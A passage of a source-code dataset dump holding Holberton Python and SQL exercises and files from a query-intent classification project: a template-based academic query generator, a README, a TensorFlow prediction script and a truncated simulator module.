"#!/usr/bin/python3\ndef uniq_add(my_list=[]):\n new_list = []\n val = 0\n for i in range(len(my_list)):\n if (new_list.count(my_list[i]) == 0):\n new_list.append(my_list[i])\n for i in new_list:\n val += i\n return (val)\n" }, { "alpha_fraction": 0.699999988079071, "alphanum_fraction": 0.7133333086967468, "avg_line_length": 24, "blob_id": "5437bd70dbde66aa122ae24a4e037afac3bf78d5", "content_id": "efddd2037bd240b7c2f16e015ef1f9c6ffaa474c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 150, "license_type": "no_license", "max_line_length": 47, "num_lines": 6, "path": "/0x08-python-more_classes/0-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nRectangle = __import__('0-rectangle').Rectangle\n\nmy_rectangle = Rectangle()\nprint(type(my_rectangle))\nprint(my_rectangle.__dict__)\n" }, { "alpha_fraction": 0.7733333110809326, "alphanum_fraction": 0.7733333110809326, "avg_line_length": 36.5, "blob_id": "d18c227c01022d62f3c21d6976f694ff162e2c31", "content_id": "dcff7e123369c212f5eec802b49f4feb1ca3f79b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 75, "license_type": "no_license", "max_line_length": 58, "num_lines": 2, "path": "/0x0D-SQL_introduction/0-list_databases.sql", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "-- SQL script that lists all the databases of your server.\nSHOW DATABASES; " }, { "alpha_fraction": 0.708737850189209, "alphanum_fraction": 0.7475728392601013, "avg_line_length": 50.5, "blob_id": "db77799498b063e32c03f19e72d2c5f3cffc2476", "content_id": "71b94b00fe175bafbe508a1b4a0c705627266d4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 206, "license_type": "no_license", "max_line_length": 59, "num_lines": 4, "path": "/0x0E-SQL_more_queries/2-create_read_user.sql", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "-- SQL script that creates a database and a user.\nCREATE DATABASE IF NOT EXISTS hbtn_0d_2;\nCREATE USER user_0d_2@localhost IDENTIFIED BY 'user_0d_2_pwd';\nGRANT SELECT ON hbtn_0d_2.* TO user_0d_2@localhost; " } ]
129
thukg/query-intent-classification
https://github.com/thukg/query-intent-classification
c1932442743505f96e3027bb566755cf2d071381
a85f9aae69c211b58a1de5048a48713d8aa75f93
26aa35f10686681761be021f107c896bb956b676
refs/heads/master
2020-06-07T01:26:50.153535
2019-06-20T10:15:05
2019-06-20T10:15:05
192,892,165
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6320118308067322, "alphanum_fraction": 0.647396445274353, "avg_line_length": 78.34272003173828, "blob_id": "56d2b9eb709d4a24cb307946d82f0c53f6455e06", "content_id": "cda87aff78c37e45ef9e5d696771ba3fde542b55", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16900, "license_type": "no_license", "max_line_length": 322, "num_lines": 213, "path": "/templates/scholar_simulator.py", "repo_name": "thukg/query-intent-classification", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# import engine.utils as utils\n# import engine.data.save_db_from_json as save_db_from_json\n# from engine.data.data_manager import *\n# from engine.db.mongo import *\nfrom simulator import *\nimport codecs\nimport nltk\nimport sys\n# nltk.download()\n# import engine.sim.lexicon_gen.lexicon_generator as lg\n\nconfig = {\n 'root': 'aminer_lexicon/',\n 'key': 'KEY.txt', \n 'insts': 'ORG.txt', \n 'names': 'NAME.txt',\n 'years': 'DATE.txt', \n 'venues': 'CON.txt', \n 'locations': 'LOC.txt'\n }\n\nclass data_manager():\n def __init__(self, root):\n self.root = root\n pass\n\n def read_lexicon_set(self, filename, min_len):\n with open(self.root + filename) as file:\n res = eval(file.read().encode('utf8', 'replace'))\n return list(filter(lambda x: len(x) > min_len, res))\n\ndef simulate(debug = False):\n \"\"\"\n debug (bool): True to print sentences to file, False to save it to db\n debug_file (str): the file name to save the debug output\n \"\"\"\n file_name = sys.argv[1]\n print (file_name)\n dm = data_manager(config['root'])\n keywords = dm.read_lexicon_set(config['key'], min_len = 3)\n locations = dm.read_lexicon_set(config['locations'], min_len = 3)\n venues = dm.read_lexicon_set(config['venues'], min_len = 3)\n years = dm.read_lexicon_set(config['years'], min_len = 1)\n names = dm.read_lexicon_set(config['names'], min_len = 5)\n insts = dm.read_lexicon_set(config['insts'], min_len = 3)\n\n\n # keywords = list(dm.read_lexicon_set(keep_mention = False, from_file = True, filename = 'aminer_keywords', th = 1000, min_len = 3))\n # insts = list(dm.read_lexicon_set(keep_mention = False, from_file = True, filename = 'linkedin_inst', th = 1000, min_len = 3))\n # names = list(dm.read_lexicon_set(keep_mention = False, from_file = True, filename = 'aminer_names', th = 10, min_len = 5))\n # years = list(dm.read_lexicon_set(keep_mention = False, from_file = True, filename = 'year'))\n # venues = list(dm.read_lexicon_set(keep_mention = False, from_file = True, filename = 'dblp_venues', th = 1000, min_len = 3))\n\n\n # keywords = list(dm.read_lexicon_set(keep_mention = False, from_file = True, filename = 'aminer_keywords'))\n # insts = list(dm.read_lexicon_set(keep_mention = False, from_file = True, filename = 'linkedin_inst'))\n # names = list(dm.read_lexicon_set(keep_mention = False, from_file = True, filename = 'aminer_names'))\n # years = list(dm.read_lexicon_set(keep_mention = False, from_file = True, filename = 'year'))\n # venues = list(dm.read_lexicon_set(keep_mention = False, from_file = True, filename = 'dblp_venues'))\n\n # f2e, _ = lg.load_mapping()\n f2e = {'aminer_names': 'name', 'linkedin_inst': 'inst', 'year':'year', 'dblp_venues':'dblop', 'aminer_keywords': 'key', 'cities': 'loc'}\n keyword_node = node(keywords, entity = f2e['aminer_keywords'])\n inst_node = node(insts, entity = f2e['linkedin_inst'])\n # the topics of a linkedin_inst, for example\n name_node = node(names, entity = f2e['aminer_names'])\n year_node = node(years, entity = f2e['year'])\n venue_node = node(venues, entity = f2e['dblp_venues'])\n loc_node = node(locations, entity = f2e['cities'])\n\n\n # begin intent search expert #\n front_keyword_node = node(p_dropout = 0.5).add_child(keyword_node)\n front_inst_node = node(p_dropout = 0.5).add_child(inst_node)\n expert_node = node([u\"researchers\", u\"scientists\", u\"people\", u\"professors\", u\"experts\"], p_dropout = 0.0, lang = 'en', gen_lemmas = True)\n\n front_cond_node = node(exchangeable = True, lang = 'en').add_child(front_keyword_node).add_child(front_inst_node)\n\n which_node = node([u\"that\", u\"who\"])\n rear_keyword_node_1 = node(lang = 'en').add_child(which_node).add_child(node([u\"work on\", u\"are working on\", u\"are doing\", u\"do\", u\"are doing research on\", u\"are experts at\", u\"have conducted research on\", u\"have been working on\"], lang = 'en', gen_lemmas = True)).add_child(keyword_node)\n rear_keyword_node_2 = node(lang = 'en').add_child(node([u\"working on\", u\"doing\", u\"doing research on\", u\"conducting research on\"])).add_child(keyword_node)\n rear_keyword_node_3 = node(lang = 'en').add_child(node([u\"whose work\", u\"whose research\", u\"whose paper\", u\"whose works\", u\"whose papers\", u\"whose researches\"])).add_child(node([u\"focus on\", u\"are about\", u\"are in\", u\"are related to\"], lang = 'en', gen_lemmas = True)).add_child(keyword_node)\n rear_keyword_node = node(pick_one = True, p_dropout = 0.5).add_child(rear_keyword_node_1, 0.2).add_child(rear_keyword_node_2, 0.6).add_child(rear_keyword_node_3, 0.2)\n rear_inst_node_1 = node(lang = 'en').add_child(which_node).add_child(node([u\"are from\", u\"work at\", u\"are in\", u\"work in\", u\"are at\"], lang = 'en', gen_lemmas = True)).add_child(inst_node)\n rear_inst_node_2 = node(lang = 'en').add_child(node([u\"from\", u\"working at\", u\"in\", u\"at\"])).add_child(inst_node)\n rear_inst_node = node(pick_one = True, p_dropout = 0.5).add_child(rear_inst_node_1, 0.2).add_child(rear_inst_node_2, 0.6)\n\n # add\n rear_loc_node_1 = node(lang = 'en').add_child(which_node).add_child(node([u\"are from\", u\"work in\", u\"are in\"], lang = 'en', gen_lemmas = True)).add_child(loc_node)\n rear_loc_node_2 = node(lang = 'en').add_child(node([u\"from\", u\"working in\", u\"in\"])).add_child(loc_node)\n rear_loc_node = node(pick_one = True, p_dropout = 0.5).add_child(rear_loc_node_1, 0.2).add_child(rear_loc_node_2, 0.6)\n\n rear_cond_node = node(exchangeable = True, lang = 'en').add_child(rear_inst_node).add_child(rear_keyword_node).add_child(rear_loc_node)\n conded_expert_node = node(lang = 'en').add_child(front_cond_node).add_child(expert_node).add_child(rear_cond_node)\n\n search_node_1 = node([u\"are there any\", u\"are there\", u\"who are\", u\"what are\"], lang = 'en', gen_lemmas = True)\n search_node_2 = node(lang = 'en').add_child(node([u\"give me\", u\"want to find\", u\"wanna find\", u\"find\", u\"find for\", u\"search\", u\"search for\", u\"query\", u\"show\", u\"look up for\"])).add_child(node([u\"the\", u\"those\", u\"the group of\", u\"a group of\", u\"some\", u\"a number of\", u\"a list of\", u\"the list of\"], p_dropout = 0.8))\n search_node = node(pick_one = True, p_dropout = 0.5).add_child(search_node_1).add_child(search_node_2)\n \n search_expert_node = node(lang = 'en').add_child(search_node).add_child(conded_expert_node)\n # end intent search expert #\n\n # begin intent search paper #\n front_keyword_node = node(p_dropout = 0.5).add_child(keyword_node)\n front_inst_node = node(p_dropout = 0.5).add_child(inst_node)\n front_year_node = node(p_dropout = 0.5).add_child(year_node)\n front_name_node = node(p_dropout = 0.5).add_child(name_node).add_child(node(u\"'s\", p_dropout = 0.5))\n front_venue_node = node(p_dropout = 0.5).add_child(venue_node)\n paper_node = node([u\"papers\", u\"works\", u\"journals\", u\"publications\", u\"researches\"], p_dropout = 0.0, lang = 'en', gen_lemmas = True)\n\n front_cond_node = node(exchangeable = True, lang = 'en').add_child(front_keyword_node).add_child(front_inst_node).add_child(front_year_node).add_child(front_name_node).add_child(front_venue_node)\n\n which_node = node([u\"that\", u\"which\"])\n rear_keyword_node_1 = node(lang = 'en').add_child(which_node).add_child(node([u\"focus on\", u\"are about\", u\"are related to\"], lang = 'en', gen_lemmas = True)).add_child(keyword_node)\n rear_keyword_node_2 = node(lang = 'en').add_child(node([u\"focusing on\", u\"on\", u\"about\", u\"related to\"])).add_child(keyword_node)\n rear_keyword_node = node(pick_one = True, p_dropout = 0.5).add_child(rear_keyword_node_1, 0.2).add_child(rear_keyword_node_2, 0.6)\n rear_inst_node_1 = node(lang = 'en').add_child(which_node).add_child(node([u\"are from\", u\"are by\", u\"are written by\", u\"are made by\", u\"are done by\", u\"are published by\"], lang = 'en', gen_lemmas = True)).add_child(inst_node)\n rear_inst_node_2 = node(lang = 'en').add_child(node([u\"from\", u\"by\", u\"written by\", u\"made by\", u\"done by\", u\"published by\"])).add_child(inst_node)\n rear_inst_node = node(pick_one = True, p_dropout = 0.5).add_child(rear_inst_node_1, 0.2).add_child(rear_inst_node_2, 0.6)\n rear_name_node_1 = node(lang = 'en').add_child(which_node).add_child(node([u\"are from\", u\"are by\", u\"are written by\", u\"are made by\", u\"are done by\", u\"are published by\"], lang = 'en', gen_lemmas = True)).add_child(name_node)\n rear_name_node_2 = node(lang = 'en').add_child(node([u\"from\", u\"by\", u\"written by\", u\"made by\", u\"done by\", u\"published by\"])).add_child(name_node)\n rear_name_node = node(pick_one = True, p_dropout = 0.5).add_child(rear_name_node_1, 0.2).add_child(rear_name_node_2, 0.6)\n rear_year_node_1 = node(lang = 'en').add_child(which_node).add_child(node([u\"are in\", u\"are written in\", u\"are made in\", u\"are done in\", u\"are published in\", u\"are at\", u\"are written at\", u\"are made at\", u\"are done at\", u\"are published at\"], lang = 'en', gen_lemmas = True)).add_child(year_node)\n rear_year_node_2 = node(lang = 'en').add_child(node([u\"in\", u\"written in\", u\"made in\", u\"done in\", u\"published in\", u\"at\", u\"written at\", u\"made at\", u\"done at\", u\"published at\"])).add_child(year_node)\n rear_year_node = node(pick_one = True, p_dropout = 0.5).add_child(rear_year_node_1, 0.2).add_child(rear_year_node_2, 0.6)\n rear_venue_node_1 = node(lang = 'en').add_child(which_node).add_child(node([u\"appear in\", u\"appear on\", u\"are on\", u\"are published on\", u\"are received by\", u\"are accepted by\"], lang = 'en', gen_lemmas = True)).add_child(venue_node)\n rear_venue_node_2 = node(lang = 'en').add_child(node([u\"on\", u\"appearing in\", u\"appearing on\", u\"published on\", u\"received by\", u\"accepted by\"])).add_child(venue_node)\n rear_venue_node = node(pick_one = True, p_dropout = 0.5).add_child(rear_venue_node_1, 0.2).add_child(rear_venue_node_2, 0.6)\n \n rear_cond_node = node(exchangeable = True, lang = 'en').add_child(rear_keyword_node).add_child(rear_inst_node).add_child(rear_name_node).add_child(rear_year_node).add_child(rear_venue_node)\n conded_paper_node = node(lang = 'en').add_child(front_cond_node).add_child(paper_node).add_child(rear_cond_node)\n\n search_node_1 = node([u\"are there any\", u\"are there\", u\"what are\", u\"which are\"], lang = 'en', gen_lemmas = True)\n search_node_2 = node(lang = 'en').add_child(node([u\"give me\", u\"want to find\", u\"wanna find\", u\"find\", u\"find for\", u\"search\", u\"search for\", u\"query\", u\"show\", u\"look up for\"])).add_child(node([u\"the\", u\"those\", u\"the group of\", u\"a group of\", u\"some\", u\"a number of\", u\"a list of\", u\"the list of\"], p_dropout = 0.8))\n search_node = node(pick_one = True, p_dropout = 0.5).add_child(search_node_1).add_child(search_node_2)\n \n search_paper_node = node(lang = 'en').add_child(search_node).add_child(conded_paper_node)\n # end intent search paper #\n\n # begin intent search venue #\n front_keyword_node = node(p_dropout = 0.5).add_child(keyword_node)\n venue_node = node([u\"journals\", u\"conferences\"], p_dropout = 0.0, lang = 'en', gen_lemmas = True)\n\n front_cond_node = node(exchangeable = True, lang = 'en').add_child(front_keyword_node)\n\n which_node = node([u\"that\", u\"which\"])\n rear_keyword_node_1 = node(lang = 'en').add_child(which_node).add_child(node([u\"focus on\", u\"are about\", u\"are related to\"], lang = 'en', gen_lemmas = True)).add_child(keyword_node)\n rear_keyword_node_2 = node(lang = 'en').add_child(node([u\"focusing on\", u\"on\", u\"about\", u\"related to\"])).add_child(keyword_node)\n rear_keyword_node_3 = node(lang = 'en').add_child(node([u\"whose papers\", u\"of which the papers\", u\"on which the papers\"], lang = 'en', gen_lemmas = True)).add_child(node([u\"focus on\", u\"are about\", u\"are in\", u\"are related to\"], lang = 'en', gen_lemmas = True)).add_child(keyword_node)\n rear_keyword_node = node(pick_one = True, p_dropout = 0.5).add_child(rear_keyword_node_1, 0.2).add_child(rear_keyword_node_2, 0.6).add_child(rear_keyword_node_3, 0.2)\n\n rear_loc_node_1 = node(lang = 'en').add_child(which_node).add_child(node([u\"are held in\", u\"are held at\", u\"are located in\"], lang = 'en', gen_lemmas = True)).add_child(loc_node)\n rear_loc_node_2 = node(lang = 'en').add_child(node([u\"in\", u\"located in\", u\"held in\", u\"held at\"])).add_child(loc_node)\n rear_loc_node = node(pick_one = True, p_dropout = 0.5).add_child(rear_loc_node_1, 0.2).add_child(rear_loc_node_2, 0.6)\n\n rear_cond_node = node(exchangeable = True, lang = 'en').add_child(rear_keyword_node).add_child(rear_loc_node)\n conded_venue_node = node(lang = 'en').add_child(front_cond_node).add_child(venue_node).add_child(rear_cond_node)\n\n search_node_1 = node([u\"are there any\", u\"are there\", u\"which are\", u\"what are\"], lang = 'en', gen_lemmas = True)\n search_node_2 = node(lang = 'en').add_child(node([u\"give me\", u\"want to find\", u\"wanna find\", u\"find\", u\"find for\", u\"search\", u\"search for\", u\"query\", u\"show\", u\"look up for\"])).add_child(node([u\"the\", u\"those\", u\"the group of\", u\"a group of\", u\"some\", u\"a number of\", u\"a list of\", u\"the list of\"], p_dropout = 0.8))\n search_node = node(pick_one = True, p_dropout = 0.5).add_child(search_node_1).add_child(search_node_2)\n \n search_venue_node = node(lang = 'en').add_child(search_node).add_child(conded_venue_node)\n # end intent search venue #\n\n # begin intent search topics #\n front_keyword_node = node(p_dropout = 0.5).add_child(keyword_node)\n # front_inst_node = node(p_dropout = 0.5).add_child(inst_node)\n topic_node = node([u\"subtopics\", u\"subtopic\", u'terms', u'term', u'subareas', u'subarea', u'subfield', u'subfields', u'trend', u'hot topics', u\"topics\", u\"topic\", u\"areas\", u\"area\", u'interests', u'interest'], \n p_dropout = 0.0, lang = 'en', gen_lemmas = True)\n front_abj_node = node(pick_one = True, p_dropout=0.5).add_child(node([u'researching', u'studying', u'research']))\n com_topic_node = node().add_child(front_abj_node).add_child(topic_node)\n\n which_node = node([u\"that\", u\"which\"])\n rear_keyword_node_1 = node(lang = 'en').add_child(which_node).add_child(node([u\"focus on\", u\"are about\", u\"are related to\"], lang = 'en', gen_lemmas = True)).add_child(keyword_node)\n rear_keyword_node_2 = node(lang = 'en').add_child(node([u\"of\", u\"focusing on\", u\"on\", u\"about\", u\"related to\"])).add_child(keyword_node)\n rear_keyword_node = node(pick_one = True, p_dropout = 0.2).add_child(rear_keyword_node_1, 0.2).add_child(rear_keyword_node_2, 0.6)\n rear_inst_node_1 = node(lang = 'en').add_child(which_node).add_child(node([u\"are studied at\", u\"are studied in\", u\"are researched at\", u\"are researched in\"], lang = 'en', gen_lemmas = True)).add_child(inst_node)\n rear_inst_node_2 = node(lang = 'en').add_child(node([u\"studied at\", u\"studied in\", u\"researched at\", u\"researched in\"], lang = 'en', gen_lemmas = True)).add_child(inst_node)\n rear_inst_node_3 = node(lang = 'en').add_child(node([u\"at\", u\"in\"], lang = 'en', gen_lemmas = True)).add_child(inst_node)\n rear_inst_node = node(pick_one = True, p_dropout = 0.2).add_child(rear_inst_node_1, 0.3).add_child(rear_inst_node_2, 0.3).add_child(rear_inst_node_3, 0.3)\n\n rear_cond_node = node(exchangeable = True, lang = 'en').add_child(rear_inst_node).add_child(rear_keyword_node)\n conded_expert_node = node(lang = 'en').add_child(com_topic_node).add_child(rear_cond_node)\n\n search_node_1 = node([u\"what are\"], lang = 'en', gen_lemmas = False)\n search_node_2 = node(lang = 'en').add_child(node([u\"give me\", u\"want to find\", u\"wanna find\", u\"find\", u\"find for\", u\"search\", u\"search for\", u\"query\", u\"show\", u\"look up for\"])).add_child(node([u\"the\", u\"those\", u\"some\", u\"a number of\", u\"a list of\", u\"the list of\"], p_dropout = 0.8))\n search_node = node(pick_one = True, p_dropout = 0.5).add_child(search_node_1).add_child(search_node_2)\n \n \n search_topic_node = node(lang = 'en').add_child(search_node).add_child(conded_expert_node)\n # end intent search topics #\n\n # pattern2\n begin_node = node(p_dropout = 0.1).add_child(node([u\"what does\", \"what is\"]))\n topic = node(p_dropout = 0.2).add_child(topic_node)\n search_sub = node(pick_one = True, p_dropout=0.0).add_child(keyword_node).add_child(inst_node)\n end_node = node(['involes', 'studies', 'includes', 'researches in', 'contains', 'relates to', 'focus on', 'studies about'], p_dropout=0.0)\n\n search_pattern_2 = node().add_child(begin_node).add_child(topic).add_child(search_sub).add_child(end_node)\n\n s = simulator().add_root(search_pattern_2, u\"topic\", 0.05).add_root(search_topic_node, u'topic', 0.2).add_root(search_venue_node, u'venue', 0.25).add_root(search_paper_node, u'paper', 0.5).add_root(search_expert_node, u'expert', 0.5)\n text = s.generate(100000)\n fout = open(file_name, 'w')\n fout.write(text)\n\ndef test():\n simulate(debug = True)\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.6664104461669922, "alphanum_fraction": 0.6717909574508667, "avg_line_length": 36.14285659790039, "blob_id": "f0aab92e8c522798e7659ad35e38c84aa194ef82", "content_id": "074ab6f1f6a4f77fffb5cd0b869e5cf1ed0ed3d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1301, "license_type": "no_license", "max_line_length": 147, "num_lines": 35, "path": "/README.md", "repo_name": "thukg/query-intent-classification", "src_encoding": "UTF-8", "text": "### Project: Classify Query Intention\n\n### Highlights:\n - The goal of this project is to **classify user's query into four categories of intention**.\n - This model was built with **CNN, RNN (LSTM and GRU) and Word Embeddings** on **Tensorflow**.\n\n### Task:\n - To identify the searching intention according to the query sentence typed by users in academic search engine.\n - The intention has four main categories: **topic**, **paper**, **expert** and **venue**.\n \n### Data:\n - Input: **Query**\n - Output: **Category**\n - Examples:\n\n Query | Category\n -----------|-----------\n what's the most popular research area in data mining? | topic\n the papers about RL published in AAAI | paper\n researchers who're experted at deep learning | expert\n what's the top conference about databases? | venue\n \n### Prepare Data:\n - We generate training data using mannually defined templates using the following commands.\n - ```cd templates```\n - ```python3 scholar_simulator.py ../data/train.csv```\n \n### Train:\n - Command: ```python train.py ./data/train.csv```\n\n### Predict:\n - Command: ```python predict.py```\n \n### Reference:\n - [Implement a cnn for text classification in tensorflow](http://www.wildml.com/2015/12/implementing-a-cnn-for-text-classification-in-tensorflow/)\n\n" }, { "alpha_fraction": 0.6717948913574219, "alphanum_fraction": 0.6780027151107788, "avg_line_length": 30.389829635620117, "blob_id": "64b7afac7a9d6ff0b81b3ac6139d6620b3b3c447", "content_id": "85a5e8e0692f2050bc256e3c7a164e4c1b47890c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3705, "license_type": "no_license", "max_line_length": 96, "num_lines": 118, "path": "/predict.py", "repo_name": "thukg/query-intent-classification", "src_encoding": "UTF-8", "text": "import os\nimport sys\nimport json\nimport shutil\nimport pickle\nimport logging\nimport data_helper\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nfrom text_cnn_rnn import TextCNNRNN\n\nlogging.getLogger().setLevel(logging.INFO)\n\ndef load_trained_params(trained_dir):\n\tparams = json.loads(open(trained_dir + 'trained_parameters.json').read())\n\twords_index = json.loads(open(trained_dir + 'words_index.json').read())\n\tlabels = json.loads(open(trained_dir + 'labels.json').read())\n\n\twith open(trained_dir + 'embeddings.pickle', 'rb') as input_file:\n\t\tfetched_embedding = pickle.load(input_file)\n\tembedding_mat = np.array(fetched_embedding, dtype = np.float32)\n\treturn params, words_index, labels, embedding_mat\n\ndef load_test_data(sentence = None):\n\tif not sentence:\n\t sentence = raw_input(\"input >>> \")\n if sentence == 'exit':\n return -1 \n\ttest_examples = [data_helper.clean_str(sentence).split(' ')]\n\treturn test_examples\n\ndef map_word_to_index(examples, words_index):\n\tx_ = []\n\tfor example in examples:\n\t\ttemp = []\n\t\tfor word in example:\n\t\t\tif word in words_index:\n\t\t\t\ttemp.append(words_index[word])\n\t\t\telse:\n\t\t\t\ttemp.append(0)\n\t\tx_.append(temp)\n\treturn x_\n\n\nparam_length = 40\ntrained_dir = \"trained_results/\" \n\nparams, words_index, labels, embedding_mat = load_trained_params(trained_dir)\n\nwith tf.Graph().as_default():\n\tsession_conf = tf.ConfigProto(allow_soft_placement=True, log_device_placement=False)\n\tsess = tf.Session(config=session_conf)\n\twith sess.as_default():\n\t\tcnn_rnn = TextCNNRNN(\n\t\t\tembedding_mat = embedding_mat,\n\t\t\tnon_static = params['non_static'],\n\t\t\thidden_unit = params['hidden_unit'],\n\t\t\tsequence_length = param_length,\n\t\t\tmax_pool_size = params['max_pool_size'],\n\t\t\tfilter_sizes = map(int, params['filter_sizes'].split(\",\")),\n\t\t\tnum_filters = params['num_filters'],\n\t\t\tnum_classes = len(labels),\n\t\t\tembedding_size = params['embedding_dim'],\n\t\t\tl2_reg_lambda = params['l2_reg_lambda'])\n\n\t\tcheckpoint_file = trained_dir + 'model-3100'\n\t\tsaver = tf.train.Saver(tf.all_variables())\n\t\tsaver = tf.train.import_meta_graph(\"{}.meta\".format(checkpoint_file))\n\t\tsaver.restore(sess, checkpoint_file)\n\t\tlogging.critical('{} has been loaded'.format(checkpoint_file))\n\n\t\tdef real_len(batches):\n\t\t\treturn [np.ceil(np.argmin(batch + [0]) * 1.0 / params['max_pool_size']) for batch in batches]\n\n\t\tdef predict_step(x_batch):\n\t\t\tfeed_dict = {\n\t\t\t\tcnn_rnn.input_x: x_batch,\n\t\t\t\tcnn_rnn.dropout_keep_prob: 1.0,\n\t\t\t\tcnn_rnn.batch_size: len(x_batch),\n\t\t\t\tcnn_rnn.pad: np.zeros([len(x_batch), 1, params['embedding_dim'], 1]),\n\t\t\t\tcnn_rnn.real_len: real_len(x_batch),\n\t\t\t}\n\t\t\tpredictions = sess.run([cnn_rnn.predictions], feed_dict)\n\t\t\treturn predictions\n\ndef get_intent(sentence):\n x_ = load_test_data(sentence)\n # note \n x_ = data_helper.pad_sentences(x_, forced_sequence_length=param_length)\n x_ = map_word_to_index(x_, words_index)\n\n x_test = np.asarray(x_)\n\n predict_labels = []\n batch_predictions = predict_step(x_test)[0]\n for batch_prediction in batch_predictions:\n\tpredict_labels.append(labels[batch_prediction])\n return (predict_labels)\n\nif __name__ == '__main__':\n print ('please enter \\\"exit\\\" to exit.')\n logging.critical('The maximum length is {}'.format(param_length))\n while (True):\n\tx_ = load_test_data()\n if x_ == -1:\n break\n\t# note \n\tx_ = data_helper.pad_sentences(x_, forced_sequence_length=param_length)\n\tx_ = map_word_to_index(x_, words_index)\n\n\tx_test = np.asarray(x_)\n\n\tpredict_labels = []\n\tbatch_predictions = predict_step(x_test)[0]\n\tfor batch_prediction in batch_predictions:\n\t predict_labels.append(labels[batch_prediction])\n\tprint ('The intent is [{}]'.format(predict_labels[0]))\n\n" }, { "alpha_fraction": 0.534347653388977, "alphanum_fraction": 0.5392653942108154, "avg_line_length": 34.94475173950195, "blob_id": "f5fad99b59deea0d1082be6fba254f6da9d0918c", "content_id": "67617379aab71c7f51de92ad6d080d44ece1fcea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6507, "license_type": "no_license", "max_line_length": 146, "num_lines": 181, "path": "/templates/simulator.py", "repo_name": "thukg/query-intent-classification", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nimport random\n# from engine.data.data_manager import *\n# from engine.db.mongo import *\nimport numpy as np\n# import engine.sim.lexicon_gen.lexicon_generator as lg\nfrom nltk.stem import WordNetLemmatizer\nlemmatizer = WordNetLemmatizer()\n\ndef bio_convert(len, name):\n if name is None:\n return ['O' for _ in range(len)]\n ret = [u'I-{}'.format(name) for _ in range(len)]\n ret[0] = u'B-{}'.format(name)\n return ret\n\ndef weighted_sample(weights_):\n weights = np.array(weights_, dtype = np.float32)\n weights /= weights.sum()\n rand_num, accu = random.random(), 0.0\n for i in range(len(weights_)):\n accu += weights[i]\n if accu >= rand_num:\n return i\n assert(False)\n\ndef lemmatize_a_word(word, pos = 'n'):\n \"\"\" For eg, if the input is \"find experts at\", the output is \"find expert at\"\n \"\"\"\n exception2lemma = {'are': 'is'}\n lemmas = []\n for token in word.split():\n if token in exception2lemma:\n lemmas.append(exception2lemma[token])\n else:\n lemmas.append(lemmatizer.lemmatize(token, pos))\n lemma = ' '.join(lemmas)\n return lemma\n\nclass node:\n def __init__(self, content = None,\n entity = None, role = None, \n exchangeable = False, pick_one = False, p_dropout = 0.0, p_cut = 0.0, p_word_cut = 0.0, lang = 'zh', gen_lemmas = False, lemma_pos = 'n'):\n\n \"\"\"\n content: list or unicode.\n If content is not None, the current node is a leaf.\n If content is a list, it is the lexicon.\n If content is a unicode, it is the word to be generated.\n entity (str): entity for this node. None for non-entities.\n role (str): role for this node. None for the same name as entity or non-roles.\n exchangeable (bool): whether the order of children is exchangeable.\n pick_one (bool): pick only one child.\n p_dropout (float): the probability that the current node can be dropped during generation.\n p_cut (float): the probability that the word will get cut.\n p_word_cut (float): the probability each individual character will get cut. Only effective when p_cut > 0.\n lang (str): zh or en,\n gen_lemmas (bool): add in the lemmas of the content to the current content,\n lemma_pos (str): lemma part of speech tag. n or v.\n \"\"\"\n\n self.children = []\n self.weights = []\n\n self.content = content\n self.entity = entity\n self.role = role\n self.exchangeable = exchangeable\n self.pick_one = pick_one\n self.p_dropout = p_dropout\n self.p_cut = p_cut\n self.p_word_cut = p_word_cut\n self.sep = ' '# lg.get_sep_by_lang(lang)\n if lang == 'en' and gen_lemmas and self.content is not None:\n if type(self.content) == list:\n lemmas = []\n for word in self.content:\n lemmas.append(lemmatize_a_word(word, pos = lemma_pos))\n else:\n lemmas = [lemmatize_a_word(self.content, pos = lemma_pos)]\n self.content = list(self.content)\n self.content = list(set(self.content + lemmas))\n\n if not entity is None and role is None:\n self.role = self.entity\n\n def add_child(self, child, weight = 1.0):\n self.children.append(child)\n self.weights.append(weight)\n return self\n\n def generate(self):\n \"\"\"\n p_simulator: the pointer to the simulator\n\n return (str_1, list_ent, list_role):\n str_1: the text generated,\n list_ent: the BIO entity representation in list,\n list_role: the BIO role representation in list\n \"\"\"\n\n if random.random() < self.p_dropout:\n return u\"\", [], []\n if len(self.children) == 0:\n if type(self.content) == list:\n text = random.choice(self.content)\n return text, bio_convert(len(text), self.entity), bio_convert(len(text), self.role)\n else:\n text = self.content\n if random.random() < self.p_cut:\n n_text = u\"\"\n for char in text:\n if random.random() > self.p_word_cut:\n n_text += char\n text = n_text\n return text, bio_convert(len(text), self.entity), bio_convert(len(text), self.role)\n else:\n if self.pick_one:\n i = weighted_sample(self.weights)\n return self.children[i].generate()\n texts, entities, roles = [], [], []\n for child in self.children:\n text, entity, role = child.generate()\n if len(text) == 0: # filter our empty text\n continue\n texts.append(text)\n entities.append(entity)\n roles.append(role)\n if self.exchangeable:\n index = range(len(texts))\n random.shuffle(list(index))\n texts = [texts[i] for i in index]\n entities = [entities[i] for i in index]\n roles = [roles[i] for i in index]\n\n\n\n r_text = self.sep.join(texts)\n\n r_entities = []\n for i, entity in enumerate(entities):\n if i > 0 and len(self.sep) > 0:\n r_entities += ['O'] * len(self.sep)\n r_entities += entity\n\n r_roles = []\n for i, role in enumerate(roles):\n if i > 0 and len(self.sep) > 0:\n r_roles += ['O'] * len(self.sep)\n r_roles += role\n\n return r_text, r_entities, r_roles\n\nclass simulator:\n\n def __init__(self, lang = 'zh'):\n 